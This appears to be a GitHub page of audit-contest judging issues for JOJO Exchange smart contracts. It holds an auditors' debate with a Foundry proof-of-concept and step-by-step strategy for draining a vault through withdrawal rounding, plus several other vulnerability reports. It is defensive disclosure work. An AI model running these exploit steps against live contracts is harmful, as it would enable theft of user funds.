        return SignedDecimalMath.decimalDiv(getNetValue() + 1, totalEarnUSDCBalance + 1e3);
    }

In the example I gave above, if I deposit $1000, getNetValue() would return 1_000_000_000 ($1000).

getIndex would therefore return 1_000_000 * 1e18 or something similar. Do you agree? The share value is now $1 (past decimal math).

Then we do: uint256 earnUSDCAmount = amount.decimalDiv(getIndex());, which sets earnUSDCAmount = 1000.

Whether or not this version of the code is applicable is a different story we can discuss later, but do you at least agree the version of the code I've linked is exploitable with the rounding error?

IAm0x52

No because during minting it would mint the following amount of shares:

1,000,000,000 * 1e18 / 1e18 = 1,000,000,000

Therefore index would be:

1,000,000,000 * 1e18  / 1,000,000,000 = 1e18

By design, index changes only minutely for each deposit and withdraw. Ideally it wouldn't change at all but due to inevitable rounding it can vary by a few wei. That is why the index starts at such a massive value of 1e18.

detectiveking123

@IAm0x52 What do you mean by "during minting"? The assumption here is that totalEarnUSDCBalance = 0 when the exploiter first deposits.

Your comment:

Screen Shot 2024-02-12 at 7 19 53 PM

This also doesn't seem correct? There's a 1e3 in the denominator so it should be 1e15. The math there should be ((1 + 1) * 10^18) / (1 + 1e3) or something.

IAm0x52

Agreed. But all of my references are to pre-audit code since that is the subject of the submission. We can't use post audit code because that is not the target of the contest.

detectiveking123

@IAm0x52 So you agree the post audit code you have audited and agreed solves the share inflation issue is vulnerable to the rounding attack?

IAm0x52

No it's not vulnerable to the rounding attack due to withdrawal minimums and deposit fees.

detectiveking123

@IAm0x52 Okay, my previous exploit assumed that withdrawal minimum and deposit fees were zero. Let's do a concrete example involving them. We will assume that withdrawalMinimum = 1 USD and deposit fee = 0.1%, like you mentioned in your earlier comment.

Note: This is on the post-audit, fixed codebase.

  1. Deposit $1000. 1000 shares will be minted, for a share price of $1. I will pay $1 in deposit fees for this.
  2. Let a bunch of other people deposit.
  3. Deposit $2 in. I will receive two shares for this. I will pay 0.2 cents in deposit fees for this.
  4. Withdraw and send in $1 JUSD + 1 wei of JUSD, which will be rounded to two shares. Profit: around a dollar.
  5. Repeat steps 3 and 4 for as long as you want.

Unless someone has challenges regarding the validity of this example, I will rest my case here and leave it to the head of judging. The fact that the issue exists and drains the contract in a version of the codebase that the LW has agreed fixes share inflation proves that this issue is distinct and valid.

IAm0x52

  1. Deposit $1000. 1000 shares will be minted, for a share price of $1. I will pay $1 in deposit fees for this.

This is again mistaken. Using the changed code our initial index would be:

1e18 * (1 + 0) / (0 + 1e3) = 1e15

This would mean that the following is minted:

1000e6 * 1e18 / 1e15 = 1,000,000e6

After deposit our index is now:

1e18 * (1 + 1000e6) / (1,000,000e6 + 1e3) = ~1e15

Now lets finish the example:

  1. Let a bunch of other people deposit
  2. Deposit $2. You will receive 2000e6 shares and pay $0.002 in deposit fees
  3. Withdraw and send in 1,000,001 wei of JUSD. Which will be rounded to 1,000,001,000 shares. Profit: $0 - Loss: $0.002 (deposit fees)
  4. Repeat steps 3 and 4 until you run out of money.

detectiveking123

@IAm0x52

Funny, that made me laugh.

But, apologies; I forgot the order of operations was the other way around. You should send into the contract first.

  1. Send in $1000 into the contract. Then deposit $1000. getIndex() will return: 1e18 * (1 + 1e9) / (0 + 1e3) ~ 1e6 * 1e18. As a result, 1000 shares will be minted, and the new share price will be $2. I will pay $1 in deposit fees for this.
  2. Let a bunch of other people deposit.
  3. Deposit $4 in. I will receive two shares for this. I will pay 0.4 cents in deposit fees for this.
  4. Withdraw and send in $2 JUSD + 1 wei of JUSD, which will be rounded to two shares. Profit: around two dollars.
  5. Repeat steps 3 and 4 for as long as you want, and make infinite money.

Also happy to just provide a PoC on the post-audit code if it resolves this discussion.

IAm0x52

The problem you run into is that now when another person deposits, they will mint with an index of:

1e18 * (1 + 2e9) / (1000 + 1e3) = 5e5 * 1e18 (half the original index)

Which will cause the attacker to immediately lose 1000 USDC because supply has the offset enabled. This is why we use the virtual offset because it will prevent all gains by counteracting the inflation. The more people that deposit the more it depresses the exchange rate (and the more the attacker loses) so the users who deposited right away will be able to withdraw and profit from the attacker and now he has lost all his money.

This is the exact purpose of the virtual offset and the reason it is implemented to break inflation attacks. The more they inflate the more they lose to others' deposits, causing a vicious cycle that causes massive loss to the attacker.

detectiveking123

@IAm0x52 check your math there

You said: 1e18 * (1 + 2e9) / (1000 + 1e3) = 5e5 * 1e18 (half the original index) but this is incorrect

But, despite the math being wrong, I do get your point. The attacker can mitigate this pretty easily though. Just send in $1000 initially and deposit a larger amount ($5000 let's say, so you yourself acquire most of the "cheap" shares). The attacker will then put around $200 of capital at risk for the future ability to drain all deposits.

Though, even if the attacker had to put up the full $1000 at risk to drain all future deposits, it would be worth and a valid attack.

JoscelynFarr

@IAm0x52

Funny, that made me laugh.

But, apologies; I forgot the order of operations was the other way around. You should send into the contract first.

  1. Send in $1000 into the contract. Then deposit $1000. getIndex() will return: 1e18 * (1 + 1e9) / (0 + 1e3) ~ 1e6 * 1e18. As a result, 1000 shares will be minted, and the new share price will be $2. I will pay $1 in deposit fees for this.
  2. Let a bunch of other people deposit.
  3. Deposit $4 in. I will receive two shares for this. I will pay 0.4 cents in deposit fees for this.
  4. Withdraw and send in $2 JUSD + 1 wei of JUSD, which will be rounded to two shares. Profit: around two dollars.
  5. Repeat steps 3 and 4 for as long as you want, and make infinite money.

Also happy to just provide a PoC on the post-audit code if it resolves this discussion.

Hey could you provide a PoC on the posit-audit, thanks.

IAm0x52

@JoscelynFarr

Ah I see. The offset being used in the production code is not high enough. In fact it actually doesn't fix the inflation issue at all (either #54 or #57). I will recommend a higher offset. 1e3 can be broken with a donation of 1e9 which is an attainable number. Instead an offset of 1e9 would be more fitting and will break any chance of inflation.

It was my error to approve such an offset. 1e3 does not remediate the possibility of inflation.

detectiveking123

@IAm0x52 It did fix the inflation issue, at least 99.9% of it, but it fixes 0% of the rounding issue. There are degrees to fixing things. Consider that this was a completely reasonable fix to #54, but if you had not known about #57, you would have never proposed a different fix.

@Czar102 will leave the decision up to you now.

JoscelynFarr

Hey @detectiveking123

Could you provide a PoC with the latest codebase? Thank you so much.

detectiveking123

@JoscelynFarr Sure, give me 1-2 days of time since it's a weekday. It should look pretty similar to the PoC in #57 but I'll have to modify it a bit.

IAm0x52

Yeah I'd like to second that request. I cannot get the repeated deposit and withdrawal working on the new code (or on the old code either). In order to get 2 shares of earnUSDC you have to deposit 2 USDC to get 2 EarnUSDC. Then when I withdraw 1 JUSD + 1 wei it pays 2 USDC but now the attackers EarnUSDC is also 0. So I am unable to get any additional USDC out of the vault. I see how your POC works as the primary deposit but I cannot get the repeated deposits and withdrawals to work. Additionally that only seems to work a single time per account, as further withdrawals revert with the message "lockedEarnUSDCAmount is bigger than earnUSDCBalance"

detectiveking123

@IAm0x52 you're not supposed to get additional USDC out of the vault. The profit is in your JOJODealer credit (reread the code a bit if you want to understand why).

See this line of the PoC:

        (,uint secondaryCredit,,,) = jojoDealer.getCreditOf(alice);
        console.log(secondaryCredit);

I will look at this further first thing after work tomorrow.

detectiveking123

Also @IAm0x52 yes optimally you should use a new EOA to do each deposit/withdraw iteration

detectiveking123

@IAm0x52 @JoscelynFarr

I succeeded with creating the PoC. For your convenience, I just forked the production Github repo and added my PoC there.

Please run forge test --match-test "testExploit" -vv

Link: https://github.com/detectiveking123/smart-contract-EVM

I will also post the PoC script here for other people's convenience, though it will not work without some of the additional setup:

    function testExploit() public {
        jusd.mint(address(fundingRateArbitrage), 50000e6);
        // net value starts out at 0 :)
        console.log("Initial net value");
        console.log(fundingRateArbitrage.getNetValue());

        vm.startPrank(Owner);
        fundingRateArbitrage.setMaxNetValue(10000000e6);
        fundingRateArbitrage.setDefaultQuota(10000000e6);
        vm.stopPrank();

        initAlice();
        // Alice transfers first
        USDC.transfer(address(fundingRateArbitrage), 1000e6);
        // Alice deposits in
        fundingRateArbitrage.deposit(1000e6);
        // (Alice can feel free to deposit multiple times after this if
        // she wants to mitigate the amount she risks losing up front,
        // but we won't for simplicity in this PoC)
        vm.stopPrank();

        // Share price is a bit over $1
        console.log("Share price");
        console.log(fundingRateArbitrage.getIndex());

        // Someone else makes a deposit
        initBob();
        fundingRateArbitrage.deposit(1000e6);
        vm.stopPrank();

        // Let's assume Carol and Dave are EOAs that belong to Alice
        initCarol();
        // Carol will get 1 share back after depositing $1.01
        fundingRateArbitrage.deposit(1_010_000);
        // Here is where the rounding issue comes in
        // Will just withdraw a full cent because I'm lazy
        fundingRateArbitrage.requestWithdraw(10_000);
        vm.stopPrank();

        // Just want to show it is possible to repeat the rounding issue
        // over and over again to drain the contract
        initDave();
        // Dave will get 1 share back after depositing $1.01
        fundingRateArbitrage.deposit(1_010_000);
        fundingRateArbitrage.requestWithdraw(10_000);
        vm.stopPrank();

        vm.startPrank(Owner);
        uint256[] memory requestIds = new uint256[](2);
        requestIds[0] = 0;
        requestIds[1] = 1;
        fundingRateArbitrage.permitWithdrawRequests(requestIds);
        vm.stopPrank();

        // Carol is back to her initial balance, but now has a bunch of extra JUSD deposited for her into jojodealer, which is her profit!
        console.log("Carol usdc balance");
        console.log(USDC.balanceOf(carol));
        (, uint secondaryCredit, , , ) = jojoDealer.getCreditOf(carol);
        console.log("Carol JOJO dealer credit");
        console.log(secondaryCredit);

        // Dave is also up money
        console.log("Dave usdc balance");
        console.log(USDC.balanceOf(dave));
        (, uint daveSecondaryCredit, , , ) = jojoDealer.getCreditOf(dave);
        console.log("Dave JOJO dealer credit");
        console.log(daveSecondaryCredit);
    }

Czar102

I think it is clear that issue #57 is separate as a different rounding can be fixed in order to mitigate it. There are some similarities in the exploit path, but the rounding and fixes are entirely different, in separate parts of code.

I stand by my decision to separate #57 from #54.

IllIllI000

@Czar102 doesn't the admin having to call permitWithdrawRequests() change the severity of 57?

detectiveking123

@IllIllI000 Looking at the code, it is not so clear cut as "admin has to call permitWithdrawRequests". I believe this is a high -- there are a few points I'd like to make here:

  1. If the attacker deposits $1000 at some point and withdraws $1001 a day later unfairly, it doesn't seem noticeable at all (the price of one share is likely barely noticeable to the admin until enough damage has been done). We shouldn't assume an omnipotent admin (otherwise they could just front-run every single hack with some type of withdraw all) but rather one who acts reasonably well. I think in this case you would easily get past an admin who is acting reasonably well.
  2. The malicious attacker is not the only one who can run this exploit / who this exploit affects. Consider an ordinary user who notices they can send in a few dollars less of JUSD and receive out the same amount of USDC. They're innocent and haven't done anything wrong, but the admin now has to choose between blocking their request (which leads to a loss of funds for them -- they lose their share in the vault and gain nothing back) or giving them a few extra dollars. It is like choosing between one way to cause a loss of funds or another. It is likely that with the current way the rounding works, even if all malicious requests are blocked (but how do you even know if a request is malicious or not?), regular users would just โ€˜accidentallyโ€™ drain the vault over time, leaving nothing for the users at the end who didnโ€™t withdraw. Overall, this rounding error just completely breaks the withdraw functionality and causes a loss of funds no matter what choice you make here.

IllIllI000

The rules for Medium state Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss. and $1 out of $1000 is only 0.1% so that doesn't sound like anything but a small, finite amount. In order to get more out of the protocol, one would have to submit many, many more of these transactions and at that point, I think it's relevant whether the admin is complicit. I agree there's an issue, but am skeptical that the amounts and the preconditions lead to anything more than Medium, and possibly even as little as a Low, depending on how Sherlock judges things, so I'd like to hear reasoning provided by the Sherlock team, so things are clear for future cases like this (since it doesn't seem like a one-off issue that'll never be seen again).

detectiveking123

@IllIllI000 This depends on which version of the code you're talking about. In the original version of the code, there can be much more lost than 0.1% lost per withdraw request. But in the updated, post-audit version of the code, it is around 0.1% per withdraw request. Also consider that these withdraws can be done as many times as one wants.

This is a fundamental issue that breaks the withdraw functionality though; the calculations are just incorrect, which doesn't affect just the exploiter, but also regular users. As I stated above, even a well-acting admin is forced into a decision between one type of user fund loss or another.

IllIllI000

The only thing that matters for these bugs is the original version of the code during the time of the audit. Can you outline what the maximum percentage lost is (just a ballpark estimate of the order of magnitude), so the Sherlock team can answer the question of how the admin having to approve it affects the severity?

detectiveking123

@IllIllI000 Up to 100% of the initial capital amount per withdraw request (so the attacker can choose the amount to drain per withdraw).

But again, the withdraw functionality is broken to the point where there can be a loss of user funds regardless of what the admin does.

IllIllI000

Thanks detectiveking123. @Czar102 can you answer how the admin constraint affects severity (the reasoning based on the rules, not just the final severity answer), so we can properly submit and judge cases like this in the future?

Czar102

I think the point made by @detectiveking123 is an accurate view โ€“ an admin doesn't make mistakes when it comes to their interactions, but when it comes to accepting values determined by an in-scope code, I think it's reasonable that a relatively small rounding error may go unnoticed. It seems this "signing off" of an admin on withdrawals is only an external sanity check, and we obviously can't assume it will catch any small discrepancy.

I'd like to note that we have some README questions in works that will allow Watsons to answer the question "What checks are made when calling admin function xyz?" to be able to define the scope of issues with admin interactions more precisely.

JoscelynFarr

Have already fix in here: #57 (comment)

IAm0x52

@IllIllI000 Looking at the code, it is not so clear cut as "admin has to call permitWithdrawRequests". I believe this is a high -- there are a few points I'd like to make here:

1. If the attacker deposits $1000 at some point and withdraws $1001 a day later unfairly, it doesn't seem noticeable at all (the price of one share is likely barely noticeable to the admin until enough damage has been done). We shouldn't assume an omnipotent admin (otherwise they could just front-run every single hack with some type of withdraw all) but rather one who acts reasonably well. I think in this case you would easily get past an admin who is acting reasonably well.

2. The malicious attacker is not the only one who can run this exploit / who this exploit affects. Consider an ordinary user who notices they can send in a few dollars less of JUSD and receive out the same amount of USDC. They're innocent and haven't done anything wrong, but the admin now has to choose between blocking their request (which leads to a loss of funds for them -- they lose their share in the vault and gain nothing back) or giving them a few extra dollars. It is like choosing between one way to cause a loss of funds or another. It is likely that with the current way the rounding works, even if all malicious requests are blocked (but how do you even know if a request is malicious or not?), regular users would just โ€˜accidentallyโ€™ drain the vault over time, leaving nothing for the users at the end who didnโ€™t withdraw. Overall, this rounding error just completely breaks the withdraw functionality and causes a loss of funds no matter what choice you make here.

This argument doesn't make much sense to me. As pointed out by @IllIllI000 with permitWithdrawRequests() there is a delay on every withdrawal. Inflation is ridiculously easy to see when it happens and both attacks are only is effective with inflation. Lots of eyes are on the vault at launch and anyone could escalate to admin before any funds leave. Admin can also remove all funds from the contract so you are incorrect in saying that it always causes loss of funds, swap to remove USDC or refundJUSD to remove JUSD, then redistribute funds back to appropriate parties. IMO seems very unlikely either would lead to loss even before fixes. Seems judgment is firm but looks like both #54 and #57 should be low, due to this obvious constraint we've overlooked.

2023-12-jojo-exchange-update-judging's People

Contributors

sherlock-admin avatar sherlock-admin2 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

2023-12-jojo-exchange-update-judging's Issues

bughuntoor - User can force revert max deposits to JUSDBank

bughuntoor

medium

User can force revert max deposits to JUSDBank

Summary

User can force revert max deposits to JUSDBank

Vulnerability Detail

Within the JUSDBank contract, users can deposit collateral and borrow JUSD against it. The problem is there is maxDepositAmountPerAccount. This would mean that if a user attempts to stake up to max balance, an adversary can just grief deposit 1 wei and force the user's tx to revert.

        require(
            user.depositBalance[collateral] <= reserve.maxDepositAmountPerAccount,
            Errors.EXCEED_THE_MAX_DEPOSIT_AMOUNT_PER_ACCOUNT
        );

This creates a serious risk in certain scenario when user is close to liquidation.

  1. User is close to liquidation.
  2. User attempts to deposit up to the allowed cap.
  3. Another user sees this and front-runs it, depositing 1 wei.
  4. The innocent user's tx reverts
  5. Due to the user being unable to deposit, they might get unfairly liquidated.

Impact

Unfair liquidation, griefing.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBank.sol#L252C1-L264C6

Tool used

Manual Review

Recommendation

Either set up a minimum deposit amount or if the user tries to deposit more than the cap, deposit up to the cap and refund the rest.

AuditorPraise - approveTarget may not == swapTarget

AuditorPraise

medium

approveTarget may not == swapTarget

Summary

approveTarget may not == swapTarget for some DEXES, this may cause issues with approval as the DepositStableCoinToDealer.sol contract only approves approveTarget for swaps.

In a situation where approveTarget != swapTarget, swapTarget isnt approved to do swaps in DepositStableCoinToDealer.depositStableCoin()

Vulnerability Detail

see summary.

An example of such dexes that approveTarget may not == swapTarget is DODO. There could still be some other ones too.

Impact

In a situation where approveTarget != swapTarget, swapTarget isn't approved to do swaps in DepositStableCoinToDealer.depositStableCoin()

The DepositStableCoinToDealer.depositStableCoin() function may revert due to lack of approval.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L52-L54

Tool used

Manual Review

Recommendation

check with an if statement whether approveTarget != swapTarget, then approve swapTarget too.

joicygiore - `JUSDBankStorage::getTRate()`,`JUSDBankStorage::accrueRate()` are calculated differently, and the data calculation is biased, Causes the `JUSDBank` contract funciton result to be incorrect

joicygiore

medium

JUSDBankStorage::getTRate(),JUSDBankStorage::accrueRate() are calculated differently, and the data calculation is biased, Causes the JUSDBank contract funciton result to be incorrect

Summary

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>         tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

JUSDBankStorage::getTRate(),JUSDBankStorage::accrueRate() are calculated differently, and the data calculation is biased, resulting in the JUSDBank contract not being executed correctly

Vulnerability Detail

The wrong result causes the funciton calculation results of JUSDBank::_isAccountSafe(), JUSDBank::flashLoan(), JUSDBank::_handleBadDebt, etc. to be biased,and all functions that call the relevant function will be biased

Impact

Causes the JUSDBank contract funciton result to be incorrect

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L67

Tool used

Manual Review

POC

Please add the test code to JUSDViewTest.t.sol for execution

    function testTRateDeviation() public {
        console.log(block.timestamp);
        console.log(jusdBank.lastUpdateTimestamp());
        vm.warp(block.timestamp + 18_356 days);
        jusdBank.accrueRate();
        console.log("tRate value than 2e18:", jusdBank.tRate());
        // block.timestamp for every 1 increment
        vm.warp(block.timestamp + 1);
        uint256 getTRateNum = jusdBank.getTRate();
        jusdBank.accrueRate();
        uint256 tRateNum = jusdBank.tRate();
        console.log("block.timestamp for every 1 increment, deviation:", tRateNum - getTRateNum);
        // block.timestamp for every 1 days increment
        vm.warp(block.timestamp + 1 days);
        getTRateNum = jusdBank.getTRate();
        jusdBank.accrueRate();
        tRateNum = jusdBank.tRate();
        console.log("block.timestamp for every 1 days increment, deviation:", tRateNum - getTRateNum);
    }

Recommendation

Use the same calculation formula:

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
         tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
-       return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+       return  tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
    }

T1MOH - Users pay additional interest due to the way interest accrues

T1MOH

high

Users pay additional interest due to the way interest accrues

Summary

In it's calculation protocol uses compound formula of calculating tRate.
How protocol tracks interest of borrowed JUSD? It writes t0Amount, t0Amount = actualAmount / tRate. Then tRate increases and on the moment of repay debt is calculated as t0Amount * tRate.

Suppose current situation:

  1. Day 1 of protocol alive, tRate = 1, borrowFeeRate = 0.2 which means 20% a year
  2. User borrows 100 JUSD, his t0Amount is 100 / 1 = 100
  3. Year passes, now accrueRate() is called. tRate = 1 * (0.2 + 1) = 1.2. It means that now hi owes 100 * 1.2 = 120 JUSD, accrued interest is 20 JUSD.

But now instead consider that accrueRate() was called 40 times with equal gaps during a year. In this case tRate = (1 + 0.2 / 40) ^ 40 = 1.2207, accrued interest is 22 JUSD which is 10% more interest than in previous example: 0.22 vs 0.2

Problem is that current implementation depends on frequency of calling accrueRate()

Vulnerability Details

Here you can see the way formula is implemented. Note that accrueRate() is supposed to be called very frequently: on every borrow, repay and liquidate.

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

Impact

User pays more interest than intended, for example extra 10% in above scenario

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L66

Tool used

Manual Review

Recommendation

Used formula to accrue interest must be independent of update frequency. For example you can use Taylor expansion to calculate compound interest

lil.eth - Index Devaluation Lockout in Liquidity Withdrawals

lil.eth

medium

Index Devaluation Lockout in Liquidity Withdrawals

Summary

The getIndex() function calculates the ratio between netValue and totalEarnUSDCBalance. If this index continually decreases (which might happen if the arbitrage strategy consistently underperforms or if there are other factors decreasing the netValue), the value of each LP's stake in terms of USDC decreases correspondingly and due to the requirestatement in requestWithdraw() users won't be able to withdraw their deposit

Vulnerability Detail

The line require(earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance") acts as a safeguard to ensure that LPs can only withdraw what they are entitled to based on the current index.

However, in a scenario where the index continually decreases (if not enough LPs or bad conditions) , the lockedEarnUSDCAmount (calculated as jusdOutside[msg.sender].decimalDiv(index)) for each LP would increase because it takes more earnUSDCBalance units to represent the same amount of underlying USDC due to the lowered index.

This situation would effectively lock their funds, preventing them from withdrawing the USDC amount they originally deposited, as their earnUSDCBalance doesnโ€™t suffice to cover the withdrawal request due to the devalued index.

Impact

No possibility for LPs to withdraw their funds, even with decremented value

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L289

Tool used

Manual Review

Recommendation

Implement a function to let LPs withdraw their funds even in bad conditions where they lose a part of their money

Duplicate of #35

dany.armstrong90 - Funding.sol#requestWithdraw function has an error.

dany.armstrong90

high

Funding.sol#requestWithdraw function has an error.

Summary

Funding.sol#requestWithdraw function set pending withdrawal flag for msg.sender instead of from.
Since the purpose of the function is to withdraw tokens from user from, this causes unexpected errors.

Vulnerability Detail

Funding.sol#requestWithdraw and executeWithdraw functions are the following.

    function requestWithdraw(
        Types.State storage state,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        external
    {
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
78:     state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
79:     state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
80:     state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
        emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
    }

    function executeWithdraw(
        Types.State storage state,
        address from,
        address to,
        bool isInternal,
        bytes memory param
    )
        external
    {
93:     require(state.withdrawExecutionTimestamp[from] <= block.timestamp, Errors.WITHDRAW_PENDING);
94:     uint256 primaryAmount = state.pendingPrimaryWithdraw[from];
95:     uint256 secondaryAmount = state.pendingSecondaryWithdraw[from];
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
        state.pendingPrimaryWithdraw[from] = 0;
        state.pendingSecondaryWithdraw[from] = 0;
        // No need to change withdrawExecutionTimestamp, because we set pending
        // withdraw amount to 0.
        _withdraw(state, msg.sender, from, to, primaryAmount, secondaryAmount, isInternal, param);
    }

L78-80 of requestWithdraw function registers the amount of tokens to withdraw and the timestamp for the address msg.sender.
But L93-95 of executeWithdraw function get the amount of tokens and timestamp which are registered to address from.
In all of two functions, from is the user to withdraw tokens from and msg.sender is the operator (spender) of withdrawal.
Thus in the case that from and msg.sender differs, the regular pending withdrawal is impossible and also the irregular pending withdrawal may arise.

Example of regular pending withdrawal:

  1. Suppose that operator1 tries to withdraw tokens from user1.
  2. operator1 calls requestWithdraw function with parameter from=user1.
  3. In the requestWithdraw function, it will be msg.sender=operator1.
    Thus the values of pendingPrimaryWithdraw[operator1], pendingSecondaryWithdraw[operator1] and withdrawExecutionTimestamp[operator1] are set.
  4. After withdrawTimeLock seconds elapsed, the operator1 calls executeWithdraw function with from=user1.
  5. Since withdrawExecutionTimestamp[user1]=0 in L93, executeWithdraw function will be reverted.

Example of irregular pending withdrawal:

  1. Suppose that user2 is the operator of user1 and operator1 is the one of user2.
  2. user2 calls requestWindow function with from=user1.
  3. In requestWithdraw function, the values of pendingPrimaryWithdraw[user2], pendingSecondaryWithdraw[user2] and withdrawExecutionTimestamp[user2] are set.
  4. After withdrawTimeLock seconds elapsed, operator1 calls executeWithdraw function with from=user2.
  5. Even though operator1 never called requestWithdraw function with from=user2, but in L93-94 primaryAmount > 0 and secondaryAmount > 0 holds true and executeWithdraw function will succeed.

Impact

The regular pending withdrawal from user by operator (!=user) will be impossible and the irregular pending withdrawal may arise.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L78-L80

Tool used

Manual Review

Recommendation

Modify Funding.sol#requestWithdraw function as follows.

    function requestWithdraw(
        Types.State storage state,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        external
    {
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
--      state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
--      state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
--      state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
--      emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
++      state.pendingPrimaryWithdraw[from] = primaryAmount;
++      state.pendingSecondaryWithdraw[from] = secondaryAmount;
++      state.withdrawExecutionTimestamp[from] = block.timestamp + state.withdrawTimeLock;
++      emit RequestWithdraw(from, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[from]);
    }

Duplicate of #53

0xC - Unhandled return values of `transfer` and `transferFrom` functions

0xC

medium

Unhandled return values of transfer and transferFrom functions

Summary

The behavior of ERC20 implementations can sometimes be unpredictable. In some instances, the transfer and transferFrom functions may return 'false' to signal a failure instead of following the standard protocol of reverting. To enhance safety and reliability, it is recommended to encapsulate these calls within require() statements to properly handle any potential failures.

Vulnerability Detail

The vulnerability in the ERC20 implementation relates to the unsafe usage of transfer and transferFrom functions in the smart contract code.

Impact

This vulnerability can lead to unpredictable behavior and may result in funds being lost or transactions not executing as expected. In some cases, these functions may return 'false' to signal a failure instead of reverting as per the standard ERC20 protocol. This non-standard behavior can have adverse consequences for users and the contract itself.

Code Snippet

Unsafe transfer and transferFrom calls have been identified in specific locations, warranting extra caution. Here is where I found it:

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L263

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L266

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L313

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L315

Tool used

Manual Review

Recommendation

Check the return value and revert on 0/false or use OpenZeppelinโ€™s SafeERC20 wrapper functions.

rudolph - Contract does not support deflation tokens

rudolph

medium

Contract does not support deflation tokens

Summary

This contract directly uses the input parameters entered by the user as the transfer amount and records it, without taking into account the deflation loss or transfer fees of some tokens during the transfer process.

Vulnerability Detail

The deposit() functions use safeTransferFrom() to move funds from the sender to the recipient but fail to verify if the received token amount matches the transferred amount. This could pose an issue with fee-on-transfer tokens, where the post-transfer balance might be less than anticipated, leading to balance inconsistencies. There might be subsequent checks for a second transfer, but an attacker might exploit leftover funds (such as those accidentally sent by another user) to gain unjustified credit.

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L37C1-L47C6

    function deposit(Types.State storage state, uint256 primaryAmount, uint256 secondaryAmount, address to) external {
        if (primaryAmount > 0) {
            IERC20(state.primaryAsset).safeTransferFrom(msg.sender, address(this), primaryAmount);
            state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
        }
        if (secondaryAmount > 0) {
            IERC20(state.secondaryAsset).safeTransferFrom(msg.sender, address(this), secondaryAmount);
            state.secondaryCredit[to] += secondaryAmount;
        }
        emit Deposit(to, msg.sender, primaryAmount, secondaryAmount);
    }

Tool used

VSCode, Foundry

Manual Review

Recommendation

A practical solution is to gauge the balance before and post-transfer and consider the differential as the transferred amount, instead of the predefined amount.

Homebrew - Potential block timestamp manipulation vulnerability

Homebrew

medium

Potential block timestamp manipulation vulnerability

Summary

Block Timestamp Manipulation

Vulnerability Detail

The contract uses block.timestamp to validate Chainlink oracle freshness. Miners could manipulate this timestamp.

Impact

Attacker can make stale oracle prices seem valid, resulting in incorrect pricing.

Code Snippet

